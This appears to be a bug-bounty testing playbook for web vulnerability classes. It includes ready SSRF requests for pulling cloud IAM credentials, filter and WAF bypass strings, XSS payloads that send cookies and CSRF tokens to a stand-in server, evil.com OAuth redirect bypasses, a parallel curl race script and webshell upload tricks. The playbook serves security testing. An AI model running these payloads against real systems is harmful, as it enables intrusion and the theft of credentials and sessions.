/vuln-classes

Vulnerability Classes — Testing Playbook

IDOR (Insecure Direct Object Reference)

**Setup**: Two accounts (attacker + victim). Log in as both.

**Test pattern**: 1. Perform action as victim → note all IDs in requests 2. Replay same request with attacker's token + victim's IDs 3. If data returned → IDOR confirmed

**Expand**:

• Test GET, PUT, DELETE on same endpoint
• Test ALL sibling endpoints (export, share, archive, download, history)
• Test /api/v1/ if /api/v2/ is protected (version downgrade)
• Test without auth header entirely
• Test numeric ID +1, -1, 0
• Test GraphQL `node(id: "base64")` queries

**Kill signals**: All endpoints return 403 with wrong ID, UUIDs without enumeration path.

Auth Bypass

**Test pattern**: 1. Identify protected endpoint 2. Remove Authorization header → still works? 3. Try method override: `X-HTTP-Method-Override: GET` on POST 4. Try path traversal: `/api/admin/./users`, `/api/v2/../v1/admin/` 5. Try case variation: `/Api/Admin/Users` 6. Try HTTP method change: if GET is blocked, try POST/PUT/OPTIONS

**Sibling check**: If one endpoint in a controller has auth bypass, test ALL siblings.

SSRF (Server-Side Request Forgery)

**Find injection points**: URL parameters, webhook URLs, file import, image fetch, PDF generation.

**Test sequence**: 1. OOB first: `https://YOUR_OOB_SERVER` → confirm DNS callback 2. If callback → try internal: `http://169.254.169.254/latest/meta-data/` 3. If cloud metadata → get IAM creds: `.../iam/security-credentials/ROLE_NAME` 4. Try internal services: `http://localhost:8080`, `http://10.0.0.1`

**Bypass filters**:

http://127.0.0.1 → http://0x7f000001 → http://2130706433 → http://017700000001
http://169.254.169.254 → http://[::ffff:169.254.169.254]
DNS rebinding: register domain that resolves to 169.254.169.254
Open redirect chain: https://target.com/redirect?to=http://169.254.169.254

XSS (Cross-Site Scripting)

**Context matters more than payload**:

• HTML body: `<img src=x onerror=alert(1)>`
• Attribute: `" onfocus="alert(1)" autofocus="`
• JS string: `';alert(1)//`
• Template: `{{constructor.constructor('alert(1)')()}}`

**Impact proof** (alert is NOT enough):

fetch('https://server/?c='+document.cookie)  // cookie theft
new Image().src='https://server/?t='+document.querySelector('[name=csrf]').value  // CSRF token

**WAF bypass quick list**:

<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<math><mtext><table><mglyph><style><!--</style><img src onerror=alert(1)>

Race Conditions

**High-value targets**: Coupon application, balance transfer, vote counting, rate limits, account creation bonuses.

**Test**: Send 20+ identical requests in parallel:

seq 1 20 | xargs -P 20 -I {} curl -s "https://target/api/apply-coupon" \
  -H "Authorization: Bearer TOKEN" -d '{"code":"DISCOUNT50"}'

If coupon applied multiple times → race confirmed.

GraphQL

**Recon**: Check `/graphql`, `/api/graphql`, `/graphql/v1`.

**Introspection** (informational alone — need auth bypass to report):

{"query":"{ __schema { types { name fields { name } } } }"}

**Real bugs**: Auth bypass on mutations (test without auth), IDOR via `node(id)`, batch queries bypassing rate limits, nested query DoS.

OAuth / OIDC

**Check**: redirect_uri manipulation, PKCE enforcement, state parameter, code reuse.

**redirect_uri bypass attempts**:

redirect_uri=https://evil.com
redirect_uri=https://target.com.evil.com
redirect_uri=https://target.com/callback/../redirect?to=evil.com
redirect_uri=https://target.com/callback%23@evil.com

Business Logic

**Can't automate — requires understanding the application**:

• Price manipulation (negative quantities, decimal abuse)
• Workflow bypass (skip steps in multi-step process)
• Privilege confusion (user A's action affects user B)
• Feature abuse (use intended feature in unintended way)
• Quota bypass (circumvent rate/usage limits)

File Upload

**Extension bypass**:

shell.php → shell.php.jpg → shell.pHp → shell.php%00.jpg → shell.php;.jpg

**Content-type bypass**: Set image/png but upload PHP/HTML content.

**Magic bytes**: Prepend `GIF89a` to PHP file.

**SVG XSS**: `<svg onload="alert(1)">` in SVG upload.